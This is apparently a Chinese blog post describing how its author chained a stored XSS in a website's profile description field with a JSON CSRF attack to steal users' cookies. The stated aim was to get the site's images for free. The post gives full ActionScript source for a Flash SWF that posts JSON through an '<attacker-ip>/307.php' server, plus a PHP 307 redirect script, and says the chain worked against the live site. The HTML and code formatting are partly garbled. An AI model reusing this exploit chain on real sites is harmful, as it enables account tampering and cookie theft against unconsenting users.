一次XSS和CSRF的组合拳进攻 (CSRF+JSON)起因发现存储型XSS漏洞利用过程总结参考一次XSS和CSRF的组合拳进攻 (CSRF+JSON) 起因为了白嫖某个图片网中的图片,便对其进进行了简单的测试。PS: 前面信息收集什么的就不多说了,和本文内容也没多大关系,就直接讲重点吧因为自己浏览器的问题,验证码加载不出来,所以后面都是用同学的账号做的测试,高强度打码发现存储型XSS漏洞大概逛了一下网站,最后进入了信息设置面板看着这么多的框,总感觉存在XSS,审查元素后发现 简介 是用<textarea>这个标签来闭合的,于是构造 payload ``` </li></ul> <pre><code>保存刷新后,成功弹出 `xss`<br />![img](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990924135-50781dbd-a3c4-4f8c-8c3c-beb58afb0834.png)<br />至此存储型XSS验证成功 ## 分界线 因为这个页面只有自己能看见,所以也就自己能触发(别人看资料的时候`<>`会被转义,也就没用了)<br />感觉这个洞很鸡肋,这个时候又想到了**CSRF**,如果每个人都自动将简介改成精心生成的恶意代码,那么这样每个人想再次修改自己的资料的时候,就可以触发 **存储型XSS**,我们也就可以盗取cookie、挂马或者其他一系列骚操作 ## CSRF 漏洞 按照原来一样的操作<br />**修改信息** –> **保存时抓包** –> **生成CSRF POC** –> **打开POC** –> **检验是否利用成功**<br />但是这里遇到一个问题<br />![img](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990924904-0b76793e-1e27-4b4a-b091-4adc6918a348.png)<br />以前post提交的数据都是形如 `a=123&b=456` 这种,而这里提交的却是 `json` 格式的<br />于是这里就要利用到一些骚姿势<br />偷一张大佬们的图(这里因为需要验证content-type,目前搜到的就只有这种方法)<br />![img](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990926545-94fa13c9-1078-4b1c-9888-1695354d531d.png)<br />后面的大概攻击流程就是这样 ### 生成 `csrf.swf` 文件 - 从Adobe官网安装[Flex SDK](7948a01a22ee6cdaf399de66233fa97c)用于将`ActionScript`编译为swf文件。Flex需要安装**32位JVM**,可以从Oracle官网下载安装32位的JDK。(这里只能用32位的,64位的不行) - 创建一个名为`csrf.as`的文本文件,写入以下`ActionScript`代码。 - 将`<attacker-ip>`占位符替换为攻击者服务器的ip或者域名(307跳转页面的地址) - 将此文件编译为`csrf.swf`,只需运行`mxmlc csrf.as`命令。这将创建一个名为csrf.swf的文件。 ![img](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990927550-26b6af6b-f675-4c06-93b0-93b895ab5fa0.png) </code></pre><p>package { import flash.display.Sprite; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLRequestHeader; import flash.net.URLRequestMethod;public class csrf extends Sprite { public function csrf() { super(); var member1:Object = null; var myJson:String = null; member1 = new Object(); member1 = { “gender”:”2”, “homeCity”:”4170”, “nowCity”:”4170”, “profession”:”23”, “description”:”“, “signature”:”” }; var myData:Object = member1; myJson = JSON.stringify(myData); myJson = JSON.stringify(myData); var url:String = “http://<attacker-ip>/307.php”; var request:URLRequest = new URLRequest(url); request.requestHeaders.push(new URLRequestHeader(“Content-Type”,”application/json”)); request.data = myJson; request.method = URLRequestMethod.POST; var urlLoader:URLLoader = new URLLoader();try { urlLoader.load(request); return; } catch(e:Error) { trace(e); return; } } } }</p> <pre><code>![csrf.swf生成成功截图](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990928803-449af00e-1201-46a1-a292-d1a2771bd8e0.png) ### 重定向php文件 `https://xxxx.cn/xxxx/xxxxx` 为你要重定向的地址,即修改用户简介的地址,目标网站,不是攻击者的服务器<br />`307.php` 文件内容 </code></pre><p><?php // redirect automatically header(“Location: <a rel="nofollow" href="https://xxxx.cn/xxxx/xxxxx">https://xxxx.cn/xxxx/xxxxx</a>“, true, 307); ?></p> <p>```</p> <h3 id="ep94xn"><a name="ep94xn" class="reference-link"></a><span class="header-link octicon octicon-link"></span>利用过程</h3><p>攻击者将 <code>csrf.swf</code> 和 <code>307.php</code> 文件放入同一目录<br />受害者在登陆存在CSRF漏洞的网站后,访问攻击者服务器上的swf文件<br /><img src="https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990931713-1ae42fc9-c43d-413e-b422-c61a55d2b54c.png" alt="img"><br />点击启动flash<br />可以在下面的网络选项中,看到307跳转成功,而且已经成功提交了POST数据<br /><img src="https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990933043-69593ab1-5bad-49cf-8f10-fbaac86bd926.png" alt="img"><br />此时我们再刷新受害者个人消息页面,即可成功弹出 <code>cookie</code> 值<br /><img src="https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990934532-bdda6893-627f-4882-a58d-7194157f9a14.png" alt="img"><br />到此 <strong>CSRF+XSS</strong> 组合拳成功打出</p> <h2 id="evlwrt"><a name="evlwrt" class="reference-link"></a><span class="header-link octicon octicon-link"></span>总结</h2><ul> <li>有框的地方就可能存在XSS</li><li>一定要细心,不仅仅在网站审查上要细心</li><li>CSRF + JSON 网上也有很多,不过都不是以实战来讲的</li><li><p>网上有些 CSRF + JSON 的利用有坑(这也是为什么我之前花了一整天都没成功)</p> <h2 id="6x82ko"><a name="6x82ko" class="reference-link"></a><span class="header-link octicon octicon-link"></span>参考</h2></li><li><p><a href="3838f8ba0f86d394e9aa87a75af73a16">在JSON端点上利用CSRF漏洞的实践教程</a></p> </li></ul> <ul> <li><a href="f4f11fd48b93e71cab929fe4750f9a40">Exploiting JSON CSRF</a></li></ul> <ul> <li><a rel="nofollow" href="https://www.geekboy.ninja/blog/tag/json-csrf/">Exploiting JSON Cross Site Request Forgery (CSRF) using Flash</a></li></ul>